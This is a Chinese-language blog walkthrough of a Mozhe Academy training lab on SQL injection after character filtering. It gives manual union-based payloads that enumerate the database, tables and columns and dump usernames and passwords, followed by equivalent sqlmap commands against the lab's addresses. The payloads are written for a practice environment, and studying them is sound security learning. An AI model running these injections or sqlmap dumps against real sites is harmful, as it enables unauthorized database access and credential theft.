当前位置: 首页 > ai >正文

墨者:SQL过滤字符后手工注入漏洞测试(第3题)

1. 墨者学院:SQL过滤字符后手工注入漏洞测试(第3题)🚀

因为练习过太多的sql注入,废话不多介绍,我会通过围绕手动注入和工具爆破的方式达到靶场目标,开练!!!

2. 手工注入方式🎯

测试从"http://124.70.71.251:43066/new_list.php?"开始,以自己的靶场地址为准。

2.1 确定字段数⚡

常见注入点:id=1 and 1=2,id=1'id=1"等等,本次靶场是单引号闭合。

id=1' order by 8--+

':单引号用于闭合SQL语句中的字符串
order by:用于确定查询结果集的列数 ,字段max=7
--+:注释掉后续SQL语句,避免语法错误

[截图位置]

2.2 确认显示位⚡

id=-1' union select 1,2,3,4,5,6,7--+

union select:联合查询,用于显示可回显的字段位置
-1:确保原查询不返回结果,只显示union select的结果

[截图位置]

2.3 获取基本信息⚡

id=-1' union select 1,database(),version(),user(),5,6,7--+

database():获取当前数据库名称
version():获取数据库版本信息
user():获取当前数据库用户

[截图位置]

2.4 获取表名⚡

id=-1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='min_ju4t_mel1i'--+

information_schema.tables:系统表,存储所有表信息
group_concat():将多行结果合并为一行
table_schema:指定数据库名称

[截图位置]

2.5 获取列名⚡

id=-1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='(@dmin9_td4b}'--+

information_schema.columns:系统表,存储所有列信息
table_name:指定要查询的表名

[截图位置]

2.6 获取数据⚡

id=-1' union select 1,group_concat(username),group_concat(password),4,5,6,7 from `(@dmin9_td4b}`--+

username,password:目标表的敏感字段
反引号`:用于包裹特殊表名

[截图位置]

3. sqlmap工具测试🎯

3.1 获取所有数据库⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" --dbs --batch

--dbs:枚举所有数据库
--batch:自动选择默认选项

[截图位置]

3.2 获取指定数据库的表⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i --tables --batch

-D:指定数据库
--tables:枚举指定数据库的所有表

[截图位置]

3.3 获取表的列⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} --columns --batch

-T:指定表名
--columns:枚举指定表的所有列

[截图位置]

3.4 导出数据⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} -C id,username,password,status --dump --batch

-C:指定要导出的列
--dump:导出指定表的数据

[截图位置]

3.5 清理缓存⚡

python sqlmap.py --purge

--purge:清除sqlmap缓存文件
该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap指令获取如下:

python sqlmap.py -h

4. 总结🏁

本次测试通过手工注入和sqlmap工具两种方式完成了SQL注入漏洞测试:

  1. 手工注入需要逐步构造payload,理解SQL语法
  2. sqlmap自动化程度高,但需要正确使用参数
  3. 目标网站存在明显的SQL注入漏洞,建议修复
  4. 特殊字符过滤不彻底,导致注入成功

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.xdnf.cn/news/16476.html

相关文章:

  • npm : 无法加载文件 D:\Nodejs\node_global\npm.ps1,因为在此系统上禁止运行脚本
  • 什么是ios企业签名?
  • VTK开发笔记(一):VTK介绍,Qt5.9.3+VS2017x64+VTK8.2编译
  • 使用 Django REST Framework 构建强大的 API
  • vue请求golang后端CORS跨域问题深度踩坑
  • 分布式链路追踪详解
  • 图论:Bellman_ford算法
  • 预过滤环境光贴图制作教程:第三阶段 - GGX 分布预过滤
  • Unity 编辑器开发 之 Excel导表工具
  • git使用lfs解决大文件上传限制
  • 监控场景视频质量异常修复:陌讯动态增强算法实战解析
  • 使用JavaScript实现轮播图的自动切换和左右箭头切换效果
  • BERT 的 NSP慢慢转换为SOP
  • Linux -- 文件【中】
  • 工具链攻击利用漏洞链入侵SharePoint服务器获取完全控制权
  • 图片查重从设计到实现(7) :使用 Milvus 实现高效图片查重功能
  • python基础:request请求Cookie保持登录状态、重定向与历史请求、SSL证书校验、超时和重试失败、自动生成request请求代码和案例实践
  • GCC、glibc、GNU C(gnuc)的关系
  • 准大一GIS专业新生,如何挑选电脑?
  • redhat7.9更换源为centos7(阿里云源-目前centos7可用的源)
  • 基于KMeans、AgglomerativeClustering、DBSCAN、PCA的聚类分析的区域经济差异研究
  • 222. 完全二叉树的节点个数
  • AI算法实现解析-C++实例
  • 如何在在NPM发布一个React组件
  • 第2章 cmd命令基础:常用基础命令(1)
  • 音频算法基础(语音识别 / 降噪 / 分离)
  • Rust:anyhow::Result 与其他 Result 类型转换
  • HTTP 与 HTTPS 的区别
  • 【C++篇】“内存泄露”的宝藏手段:智能指针
  • Neurosciences study notes[1]